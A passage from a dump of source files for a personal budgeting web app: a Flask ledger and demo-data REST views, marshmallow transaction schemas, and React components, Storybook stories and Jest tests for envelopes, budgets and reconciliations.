underbudget.models.ledger import LedgerModel\nimport underbudget.schemas.ledger as schema\n\n\nledger_schema = schema.LedgerSchema()\npages_schema = schema.LedgersPageSchema()\n\n\nclass LedgersView(MethodView):\n \"\"\" Ledger REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"ledgers\")\n app.add_url_rule(\n \"/api/ledgers\",\n defaults={\"ledger_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\"/api/ledgers\", view_func=view, methods=[\"POST\"])\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>\",\n view_func=view,\n methods=[\"GET\", \"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n @with_pagination\n def get(ledger_id: Optional[int], page: int, size: int):\n \"\"\" Gets a specific ledger or a subset of all ledgers, by page \"\"\"\n if ledger_id:\n return ledger_schema.dump(LedgerModel.query.get_or_404(ledger_id))\n return pages_schema.dump(LedgerModel.query.paginate(page, size))\n\n @staticmethod\n @use_args(ledger_schema)\n def post(args: Dict[str, Any]):\n \"\"\" Creates a new ledger \"\"\"\n now = datetime.now()\n\n new_ledger = LedgerModel(\n name=args[\"name\"],\n currency=args[\"currency\"],\n created=now,\n last_updated=now,\n )\n new_ledger.save()\n return {\"id\": int(new_ledger.id)}, 201\n\n @staticmethod\n @use_args(ledger_schema)\n def put(args: Dict[str, Any], ledger_id: int):\n \"\"\" Modifies a specific ledger \"\"\"\n ledger = LedgerModel.query.get_or_404(ledger_id)\n ledger.name = args[\"name\"]\n ledger.currency = args[\"currency\"]\n ledger.last_updated = datetime.now()\n ledger.save()\n return {}, 200\n\n @staticmethod\n def delete(ledger_id: int):\n \"\"\" Deletes a specific ledger \"\"\"\n ledger = LedgerModel.query.get_or_404(ledger_id)\n ledger.delete()\n return {}, 204\n" }, { "alpha_fraction": 0.6579139232635498, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 35.398231506347656, "blob_id": "3161142459ccbb500ab67716804f4c7c258ad562", "content_id": "88c70806b06a2f317d5f2ff723ba4070c5ef5b6c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4113, "license_type": "permissive", "max_line_length": 98, "num_lines": 113, "path": "/webapp/src/features/envelopes/components/__tests__/ModifyEnvelopeDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport ModifyEnvelopeDialog from '../ModifyEnvelopeDialog';\n\nconst render = (envelope, code = 200) => {\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet(`/api/envelopes/${envelope.id}`).reply(code, envelope);\n mockAxios.onGet('/api/ledgers/2/envelope-categories').reply(200, {\n categories: [\n { id: 1, name: 'Category 1' },\n { id: 2, name: 'Category 2' },\n ],\n });\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { retry: false } },\n });\n\n localStorage.setItem('underbudget.selected.ledger', '2');\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/envelopes/:id/modify' element={<ModifyEnvelopeDialog />} />\n </Routes>\n </QueryClientProvider>,\n { route: `/envelopes/${envelope.id}/modify` },\n ),\n mockAxios,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch envelope', async () => {\n const { history } = render({ id: 3 }, 404);\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify envelope/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify envelope/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/envelopes/3'));\n});\n\ntest('should prevent submission when required fields are missing', async () => {\n render({ id: 3, categoryId: 1, name: 'An envelope', lastUpdated: '' });\n\n await waitFor(() => expect(screen.getByLabelText(/^name/i)).toHaveValue('An envelope'));\n\n userEvent.clear(screen.getByLabelText(/^name/i));\n userEvent.tab();\n\n const saveButton = screen.getByRole('button', { name: /save/i });\n userEvent.click(saveButton);\n await waitFor(() => expect(screen.getByText(/required/i)).toBeInTheDocument());\n expect(saveButton).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n const { mockAxios } = render({ id: 3, categoryId: 1, name: 'An envelope', lastUpdated: '' });\n mockAxios.onPut('/api/envelopes/3').reply(400);\n\n await waitFor(() => expect(screen.getByLabelText(/^name/i)).toHaveValue('An envelope'));\n userEvent.type(screen.getByLabelText(/^name/i), ' ');\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() => expect(screen.getByText(/unable to modify envelope/i)).toBeInTheDocument());\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { mockAxios, queryClient } = render({\n id: 3,\n categoryId: 1,\n name: 'An envelope',\n lastUpdated: '',\n });\n mockAxios.onPut('/api/envelopes/3').reply(200);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n await waitFor(() => expect(screen.getByLabelText(/^name/i)).toHaveValue('An envelope'));\n\n userEvent.type(screen.getByLabelText(/^name/i), '{selectall}my envelope name');\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n userEvent.click(screen.getByRole('option', { name: 'Category 2' }));\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify envelope/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockAxios.history.put[0].data)).toEqual({\n categoryId: 2,\n name: 'my envelope name',\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'envelope-categories',\n {\n ledger: '2',\n },\n ]);\n});\n" }, { "alpha_fraction": 0.7374005317687988, "alphanum_fraction": 0.7400530576705933, "avg_line_length": 30.41666603088379, "blob_id": "4d978ead967395863c8cf38fa825560ed50c2471", "content_id": "7db9cf207e0e219549194c63fe7424307bb495c2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 754, "license_type": "permissive", "max_line_length": 88, "num_lines": 24, "path": "/webapp/src/features/reconciliations/routes/AccountReconciliationsPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport AppPage from 'common/components/AppPage';\nimport useMobile from 'common/hooks/useMobile';\nimport AccountReconciliationsAppBar from '../components/AccountReconciliationsAppBar';\nimport AccountReconciliationsList from '../components/AccountReconciliationsList';\n\nconst AccountReconciliationsPage = () => {\n const mobile = useMobile();\n const { id } = useParams();\n const accountId = parseInt(id, 10);\n\n return (\n <AppPage\n appBar={<AccountReconciliationsAppBar accountId={accountId} prominent={mobile} />}\n prominent={mobile}\n >\n <AccountReconciliationsList accountId={accountId} />\n </AppPage>\n );\n};\n\nexport default AccountReconciliationsPage;\n" }, { "alpha_fraction": 0.6407151222229004, "alphanum_fraction": 0.6464821100234985, "avg_line_length": 24.5, "blob_id": "c0f8102157a4d8dfc4ad07a620cdce7feb2c6c1e", "content_id": "9cfd26881bd0e355d8b47bc90c9b4ccf9687c936", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1734, "license_type": "permissive", "max_line_length": 96, "num_lines": 68, "path": "/webapp/src/common/components/AppPage/AppPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Paper from '@material-ui/core/Paper';\nimport Container from '@material-ui/core/Container';\nimport { makeStyles } from '@material-ui/core/styles';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useMobile from '../../hooks/useMobile';\nimport AppDrawer from '../AppDrawer';\nimport HideOnScroll from './HideOnScroll';\n\nconst useStyles = makeStyles((theme) => ({\n root: {\n bottom: 0,\n display: 'flex',\n left: 0,\n position: 'absolute',\n right: 0,\n top: 0,\n },\n content: {\n flexGrow: 1,\n overflow: 'auto',\n },\n appBarSpacer: theme.mixins.toolbar,\n prominentAppBarSpacer: {\n minHeight: theme.spacing(16),\n },\n container: {\n paddingBottom: theme.spacing(3),\n paddingTop: theme.spacing(3),\n [theme.breakpoints.down('xs')]: {\n padding: theme.spacing(0),\n },\n },\n}));\n\nconst AppPage = ({ appBar, children, prominent }) => {\n const classes = useStyles();\n const mobile = useMobile();\n\n return (\n <div className={classes.root}>\n {mobile ? <HideOnScroll>{appBar}</HideOnScroll> : appBar}\n <AppDrawer />\n <main className={classes.content} id='app-content'>\n <div\n className={clsx(classes.appBarSpacer, { [classes.prominentAppBarSpacer]: prominent })}\n />\n <Container className={classes.container} maxWidth='lg'>\n {mobile ? children : <Paper>{children}</Paper>}\n </Container>\n </main>\n </div>\n );\n};\n\nAppPage.propTypes = {\n appBar: PropTypes.element.isRequired,\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n prominent: PropTypes.bool,\n};\n\nAppPage.defaultProps = {\n prominent: false,\n};\n\nexport default AppPage;\n" }, { "alpha_fraction": 0.7044585943222046, "alphanum_fraction": 0.712101936340332, "avg_line_length": 29.19230842590332, "blob_id": "823876f004df83179c3e61666817a4568211bd18", "content_id": "b9c0ed7b698c3bbc833a59d138210bcac3c8f75c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 785, "license_type": "permissive", "max_line_length": 93, "num_lines": 26, "path": "/webapp/src/features/budgets/components/__stories__/CreateAnnualExpenseDialog.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateAnnualExpenseDialog from '../CreateAnnualExpenseDialog';\n\nexport default {\n title: 'budgets/CreateAnnualExpenseDialog',\n component: CreateAnnualExpenseDialog,\n decorators: [\n (story) => <AppProviders>{story()}</AppProviders>,\n (story, { parameters }) => {\n setSelectedLedger('2');\n setupMockApi(parameters);\n return story();\n },\n ],\n};\n\nconst Template = (args) => <CreateAnnualExpenseDialog budgetId={5} periods={12} {...args} />;\n\nexport const Monthly = Template.bind({});\n\nexport const Weekly = Template.bind({});\nWeekly.args = { periods: 52 };\n" }, { "alpha_fraction": 0.6605657339096069, "alphanum_fraction": 0.6699251532554626, "avg_line_length": 37.158729553222656, "blob_id": "aa2f9a7adfabd6b75b249cc3252ff3073c1c3e71", "content_id": "07904b54911f92068f0e424f81c8da2d33654d08", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4808, "license_type": "permissive", "max_line_length": 99, "num_lines": 126, "path": "/webapp/src/features/budgets/routes/__tests__/BudgetsPage.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport BudgetsPage from '../BudgetsPage';\n\nconst render = (route = '/budgets') => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet('/api/ledgers/2/budgets').reply(200, {\n budgets: [{ id: 7, name: 'Test Budget', periods: 12 }],\n });\n mockApi.onGet('/api/ledgers/2/active-budgets').reply(200, {\n activeBudgets: [{ id: 4, budgetId: 7, name: 'Test Budget', year: 2021 }],\n });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/budgets/*' element={<BudgetsPage />} />\n </Routes>\n </QueryClientProvider>,\n { route },\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should display active budgets tab by default', async () => {\n render();\n await waitFor(() =>\n expect(screen.getByRole('button', { name: '2021 Test Budget' })).toBeInTheDocument(),\n );\n expect(\n screen.queryByRole('button', { name: 'Test Budget Monthly (12)' }),\n ).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('tab', { name: /all/i }));\n await waitFor(() =>\n expect(screen.getByRole('button', { name: 'Test Budget Monthly (12)' })).toBeInTheDocument(),\n );\n expect(screen.queryByRole('button', { name: '2021 Test Budget' })).not.toBeInTheDocument();\n});\n\ntest('should display all budgets tab if initial route matches', async () => {\n render('/budgets?tab=all');\n await waitFor(() =>\n expect(screen.getByRole('button', { name: 'Test Budget Monthly (12)' })).toBeInTheDocument(),\n );\n expect(screen.queryByRole('button', { name: '2021 Test Budget' })).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('tab', { name: /active/i }));\n await waitFor(() =>\n expect(screen.getByRole('button', { name: '2021 Test Budget' })).toBeInTheDocument(),\n );\n expect(\n screen.queryByRole('button', { name: 'Test Budget Monthly (12)' }),\n ).not.toBeInTheDocument();\n});\n\ntest('should display create-budget dialog if initial route matches', async () => {\n const { history } = render('/budgets/create');\n expect(screen.getByRole('heading', { name: /create budget/i })).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/budgets'));\n expect(screen.queryByRole('heading', { name: /create budget/i })).not.toBeInTheDocument();\n});\n\ntest('should display set-active dialog if initial route matches', async () => {\n const { history } = render('/budgets/set-active');\n expect(screen.getByRole('heading', { name: /set active budget/i })).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/budgets'));\n expect(screen.queryByRole('heading', { name: /set active budget/i })).not.toBeInTheDocument();\n});\n\ntest('should display modify-active dialog if initial route matches', async () => {\n const { history } = render('/budgets/modify-active/4');\n expect(screen.getByRole('heading', { name: /modify active budget/i })).toBeInTheDocument();\n\n await waitFor(() => expect(history.location.pathname).toBe('/budgets'));\n expect(screen.queryByRole('heading', { name: /modify active budget/i })).not.toBeInTheDocument();\n});\n\ntest('should open create dialogs when using nav bar actions', async () => {\n const { history } = render();\n\n // Make sure no dialogs open initially\n expect(screen.queryAllByRole('heading')).toHaveLength(1);\n expect(screen.getByRole('heading', { name: /budgets/i })).toBeInTheDocument();\n expect(screen.queryByRole('dialog')).not.toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /set active budget/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /set active budget/i })).toBeInTheDocument(),\n );\n expect(history.location.pathname).toBe('/budgets/set-active');\n\n userEvent.click(screen.getByRole('tab', { name: /all/i }));\n\n userEvent.click(screen.getByRole('button', { name: /create budget/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /create budget/i })).toBeInTheDocument(),\n );\n expect(history.location.pathname).toBe('/budgets/create');\n});\n" }, { "alpha_fraction": 0.6978228688240051, "alphanum_fraction": 0.6979866027832031, "avg_line_length": 32.201087951660156, "blob_id": "7367ba2a72cef810ee148002d3188ecde2d6dd85", "content_id": "6726b938e7d08443ec7e5a8c456034a1a91c098b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6109, "license_type": "permissive", "max_line_length": 85, "num_lines": 184, "path": "/backend/underbudget/schemas/transaction.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Transaction schema \"\"\"\nfrom marshmallow import Schema, fields, validate\n\nfrom underbudget.models.transaction import TransactionType\n\n\nclass AccountTransactionSchema(Schema):\n \"\"\" Account transaction schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n account_id = fields.Integer(data_key=\"accountId\", required=True)\n amount = fields.Integer(required=True)\n memo = fields.String(missing=\"\")\n cleared = fields.Boolean(missing=False)\n reconciliation_id = fields.Integer(data_key=\"reconciliationId\", dump_only=True)\n\n\nclass ModifyAccountTransactionSchema(AccountTransactionSchema):\n \"\"\" Account transaction modification schema \"\"\"\n\n id = fields.Integer(required=True)\n\n\nclass EnvelopeTransactionSchema(Schema):\n \"\"\" Envelope transaction schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n envelope_id = fields.Integer(data_key=\"envelopeId\", required=True)\n amount = fields.Integer(required=True)\n memo = fields.String(missing=\"\")\n\n\nclass ModifyEnvelopeTransactionSchema(EnvelopeTransactionSchema):\n \"\"\" Envelope transaction modification schema \"\"\"\n\n id = fields.Integer(required=True)\n\n\nclass TransactionSchema(Schema):\n \"\"\" Transaction schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n transaction_type = fields.Function(\n lambda obj: obj.transaction_type.name,\n deserialize=TransactionType.parse,\n data_key=\"type\",\n )\n recorded_date = fields.Date(data_key=\"recordedDate\", required=True)\n payee = fields.String(required=True, validate=validate.Length(min=1))\n account_transactions = fields.List(\n fields.Nested(AccountTransactionSchema),\n data_key=\"accountTransactions\",\n missing=[],\n )\n envelope_transactions = fields.List(\n fields.Nested(EnvelopeTransactionSchema),\n data_key=\"envelopeTransactions\",\n missing=[],\n )\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass AccountTransactionPatchSchema(Schema):\n \"\"\" Schema for add/mod/delete of account transactions \"\"\"\n\n add = fields.List(fields.Nested(AccountTransactionSchema), missing=[])\n modify = fields.List(fields.Nested(ModifyAccountTransactionSchema), missing=[])\n delete = fields.List(fields.Integer, missing=[])\n\n\nclass EnvelopeTransactionPatchSchema(Schema):\n \"\"\" Schema for add/mod/delete of envelope transactions \"\"\"\n\n add = fields.List(fields.Nested(EnvelopeTransactionSchema), missing=[])\n modify = fields.List(fields.Nested(ModifyEnvelopeTransactionSchema), missing=[])\n delete = fields.List(fields.Integer, missing=[])\n\n\nclass TransactionPatchSchema(TransactionSchema):\n \"\"\" Transaction modification (via patch) schema \"\"\"\n\n account_transactions = fields.Nested(\n AccountTransactionPatchSchema, data_key=\"accountTransactions\", missing={}\n )\n envelope_transactions = fields.Nested(\n EnvelopeTransactionPatchSchema, data_key=\"envelopeTransactions\", missing={}\n )\n\n\nclass AccountTransactionHistoryEntrySchema(Schema):\n \"\"\" Single account transaction in history (read-only) schema \"\"\"\n\n # AccountTransaction fields\n id = fields.Integer()\n amount = fields.Integer()\n balance = fields.Integer()\n memo = fields.String(missing=\"\")\n cleared = fields.Boolean(missing=False)\n account_id = fields.Integer(data_key=\"accountId\")\n reconciliation_id = fields.Integer(data_key=\"reconciliationId\")\n transaction_id = fields.Integer(data_key=\"transactionId\")\n # Transaction fields\n transaction_type = fields.Function(\n lambda obj: (\n obj.transaction_type\n if isinstance(obj.transaction_type, str)\n else obj.transaction_type.name\n ),\n deserialize=TransactionType.parse,\n data_key=\"type\",\n )\n recorded_date = fields.Date(data_key=\"recordedDate\")\n payee = fields.String()\n\n\nclass AccountTransactionHistorySchema(Schema):\n \"\"\" Paginated account transaction history (read-only) schema \"\"\"\n\n items = fields.List(\n fields.Nested(AccountTransactionHistoryEntrySchema), data_key=\"transactions\"\n )\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n\n\nclass AccountTransactionSearchSchema(Schema):\n \"\"\" Paginated account transaction search result (read-only) schema \"\"\"\n\n items = fields.List(\n fields.Nested(AccountTransactionHistoryEntrySchema(exclude=[\"balance\"])),\n data_key=\"transactions\",\n )\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n\n\nclass EnvelopeTransactionHistoryEntrySchema(Schema):\n \"\"\" Single envelope transaction in history (read-only) schema \"\"\"\n\n # EnvelopeTransaction fields\n id = fields.Integer()\n amount = fields.Integer()\n balance = fields.Integer()\n memo = fields.String(missing=\"\")\n envelope_id = fields.Integer(data_key=\"envelopeId\")\n transaction_id = fields.Integer(data_key=\"transactionId\")\n # Transaction fields\n transaction_type = fields.Function(\n lambda obj: (\n obj.transaction_type\n if isinstance(obj.transaction_type, str)\n else obj.transaction_type.name\n ),\n deserialize=TransactionType.parse,\n data_key=\"type\",\n )\n recorded_date = fields.Date(data_key=\"recordedDate\")\n payee = fields.String()\n\n\nclass EnvelopeTransactionHistorySchema(Schema):\n \"\"\" Paginated envelope transaction history (read-only) schema \"\"\"\n\n items = fields.List(\n fields.Nested(EnvelopeTransactionHistoryEntrySchema), data_key=\"transactions\"\n )\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n\n\nclass EnvelopeTransactionSearchSchema(Schema):\n \"\"\" Paginated envelope transaction search result (read-only) schema \"\"\"\n\n items = fields.List(\n fields.Nested(EnvelopeTransactionHistoryEntrySchema(exclude=[\"balance\"])),\n data_key=\"transactions\",\n )\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n" }, { "alpha_fraction": 0.6786237359046936, "alphanum_fraction": 0.6786237359046936, "avg_line_length": 28.69565200805664, "blob_id": "ac03213b79c50c86e7ecce704374028f17186f47", "content_id": "b711b7a1e5e44a67c93e4f5c27e99583a9c9f2c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1366, "license_type": "permissive", "max_line_length": 91, "num_lines": 46, "path": "/webapp/src/features/reconciliations/components/AccountReconciliationsAppBar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddCircleIcon from '@material-ui/icons/AddCircle';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport { ChildPageAppBar, RightIconButtons } from 'common/components/AppBar';\nimport { accountRoute } from 'common/utils/routes';\nimport { useFetchAccount } from 'features/accounts';\nimport useNavigateToCreateReconciliation from '../hooks/useNavigateToCreateReconciliation';\n\nconst AccountReconciliationsAppBar = ({ accountId, prominent }) => {\n const parentRoute = accountRoute(accountId);\n const handleCreateReconciliation = useNavigateToCreateReconciliation(accountId);\n\n const { data } = useFetchAccount({ id: accountId });\n const title = React.useMemo(() => {\n if (!data) {\n return '...';\n }\n return `${data.name} Reconciliations`;\n }, [data]);\n\n return (\n <ChildPageAppBar\n back={parentRoute}\n prominent={prominent}\n rightButtons={\n <RightIconButtons\n primaryActions={{\n 'aria-label': 'Reconcile account',\n icon: <AddCircleIcon />,\n onClick: handleCreateReconciliation,\n text: 'Reconcile account',\n }}\n />\n }\n title={title}\n />\n );\n};\n\nAccountReconciliationsAppBar.propTypes = {\n accountId: PropTypes.number.isRequired,\n prominent: PropTypes.bool.isRequired,\n};\n\nexport default AccountReconciliationsAppBar;\n" }, { "alpha_fraction": 0.5509206056594849, "alphanum_fraction": 0.5627335906028748, "avg_line_length": 35.239131927490234, "blob_id": "7a39695717b9ada805c5a08bbbaee8b503e0f8fe", "content_id": "04aead71c133eee25af6ff65f771144902f55bd5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21671, "license_type": "permissive", "max_line_length": 88, "num_lines": 598, "path": "/backend/underbudget/views/demo.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Ledger REST view \"\"\"\nimport calendar\nfrom datetime import date, datetime, timedelta\nimport random\nfrom typing import Any, Dict\nfrom flask import Flask\nfrom flask.views import MethodView\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.database import db\nfrom underbudget.models.account import AccountCategoryModel, AccountModel\nfrom underbudget.models.budget import (\n ActiveBudgetModel,\n BudgetModel,\n BudgetPeriodicExpenseModel,\n BudgetPeriodicIncomeModel,\n)\nfrom underbudget.models.envelope import EnvelopeCategoryModel, EnvelopeModel\nfrom underbudget.models.ledger import LedgerModel\nfrom underbudget.models.transaction import (\n AccountTransactionModel,\n EnvelopeTransactionModel,\n TransactionModel,\n)\nfrom underbudget.schemas.demo import DemoSchema\n\n\nclass DemoView(MethodView):\n \"\"\" Demo REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n app.add_url_rule(\n \"/api/demos\",\n view_func=cls.as_view(\"demo\"),\n methods=[\"POST\"],\n )\n\n @use_args(DemoSchema)\n def post(self, args: Dict[str, Any]):\n \"\"\" Creates a demo ledger \"\"\"\n random.seed(args[\"seed\"])\n\n now = datetime.now()\n # Start num +1 months ago so the last month is completely in the past\n start = now - timedelta(days=((30 * (args[\"months\"] + 1)) + 10))\n\n ledger = LedgerModel(\n name=args[\"name\"],\n currency=args[\"currency\"],\n created=start,\n last_updated=start,\n )\n db.session.add(ledger)\n\n (accounts, envelopes) = self._populate_ledger(ledger, start)\n months = self._create_dates(args[\"months\"])\n\n self._create_transaction(\n ledger=ledger,\n recorded_date=months[0][\"first\"],\n amount=81021,\n payee=\"Opening Balance\",\n cleared=True,\n account=accounts[\"checking\"],\n envelope=envelopes[\"unallocated\"],\n )\n\n for month in months:\n self._create_payday_transactions(ledger, month, accounts, envelopes)\n self._create_transfer_transactions(ledger, month, accounts, envelopes)\n self._create_allocation_transactions(ledger, month, accounts, envelopes)\n self._create_rent_transactions(ledger, month, accounts, envelopes)\n self._create_utility_transactions(ledger, month, accounts, envelopes)\n self._create_gas_transactions(ledger, month, accounts, envelopes)\n self._create_maintenance_transactions(ledger, month, accounts, envelopes)\n self._create_grocery_transactions(ledger, month, accounts, envelopes)\n self._create_dining_transactions(ledger, month, accounts, envelopes)\n self._create_clothing_transactions(ledger, month, accounts, envelopes)\n self._create_entertainment_transactions(ledger, month, accounts, envelopes)\n\n db.session.flush()\n self._create_budget(ledger, envelopes, start, now)\n\n db.session.commit()\n return {\"id\": int(ledger.id)}, 201\n\n def _create_dates(self, num_months):\n \"\"\" Creates specific dates to use based on the number of desired months \"\"\"\n now = date.today()\n # Start num +1 months ago so the last month is completely in the past\n start = now\n for _ in range(num_months):\n start = start - timedelta(days=start.day)\n start = start.replace(day=1)\n months = []\n num = 0\n for _ in range(num_months):\n months.append(\n self._generate_dates_for_month(start.year, start.month, num, num_months)\n )\n start = (start + timedelta(days=32)).replace(day=1)\n num = num + 1\n return months\n\n @staticmethod\n def _generate_dates_for_month(year, month, num, total):\n \"\"\" Generates key dates for the given month \"\"\"\n first = date(year, month, 1)\n last = first.replace(day=calendar.monthrange(year, month)[1])\n return {\n \"first\": first,\n \"fridays\": [\n week[4]\n for week in calendar.Calendar().monthdatescalendar(year, month)\n if week[4] < last\n ],\n \"last\": last,\n \"num\": num,\n \"total\": total,\n \"is_last_month\": num == total - 1,\n }\n\n def _populate_ledger(self, ledger, now):\n \"\"\" Creates a set of accounts and envelopes \"\"\"\n acct_cat1 = self._create_account_category(ledger, \"Assets\", now)\n acct_cat2 = self._create_account_category(ledger, \"Liabilities\", now)\n accounts = {\n \"checking\": self._create_account(acct_cat1, \"Checking Account\", now),\n \"savings\": self._create_account(acct_cat1, \"Savings Account\", now),\n \"credit\": self._create_account(acct_cat2, \"Credit Card\", now),\n }\n\n env_cat1 = self._create_envelope_category(ledger, \"Housing\", now)\n env_cat2 = self._create_envelope_category(ledger, \"Transportation\", now)\n env_cat3 = self._create_envelope_category(ledger, \"Food\", now)\n env_cat4 = self._create_envelope_category(ledger, \"Luxury\", now)\n env_cat5 = self._create_envelope_category(ledger, \"Other\", now)\n envelopes = {\n \"rent\": self._create_envelope(env_cat1, \"Rent\", now),\n \"utilities\": self._create_envelope(env_cat1, \"Utilities\", now),\n \"gas\": self._create_envelope(env_cat2, \"Gas\", now),\n \"maintenance\": self._create_envelope(env_cat2, \"Car Maintenance\", now),\n \"groceries\": self._create_envelope(env_cat3, \"Groceries\", now),\n \"dining\": self._create_envelope(env_cat3, \"Dining\", now),\n \"clothes\": self._create_envelope(env_cat4, \"Clothes\", now),\n \"entertainment\": self._create_envelope(env_cat4, \"Entertainment\", now),\n \"unallocated\": self._create_envelope(env_cat5, \"Unallocated\", now),\n }\n\n return (accounts, envelopes)\n\n @staticmethod\n def _create_account_category(ledger, name, now):\n \"\"\" Creates an account category \"\"\"\n category = AccountCategoryModel(\n name=name,\n created=now,\n last_updated=now,\n )\n db.session.add(category)\n ledger.account_categories.append(category)\n return category\n\n @staticmethod\n def _create_account(category, name, now):\n \"\"\" Creates an account \"\"\"\n account = AccountModel(\n name=name,\n institution=\"\",\n account_number=\"\",\n archived=False,\n external_id=\"\",\n created=now,\n last_updated=now,\n )\n db.session.add(account)\n category.accounts.append(account)\n return account\n\n @staticmethod\n def _create_envelope_category(ledger, name, now):\n \"\"\" Creates an envelope category \"\"\"\n category = EnvelopeCategoryModel(\n name=name,\n created=now,\n last_updated=now,\n )\n db.session.add(category)\n ledger.envelope_categories.append(category)\n return category\n\n @staticmethod\n def _create_envelope(category, name, now):\n \"\"\" Creates an envelope \"\"\"\n envelope = EnvelopeModel(\n name=name,\n archived=False,\n external_id=\"\",\n created=now,\n last_updated=now,\n )\n db.session.add(envelope)\n category.envelopes.append(envelope)\n return envelope\n\n @staticmethod\n def _create_budget(ledger, envelopes, start, stop):\n budget = BudgetModel(\n ledger_id=ledger.id,\n name=\"Demo Budget\",\n periods=12,\n created=start,\n last_updated=start,\n )\n db.session.add(budget)\n\n active = 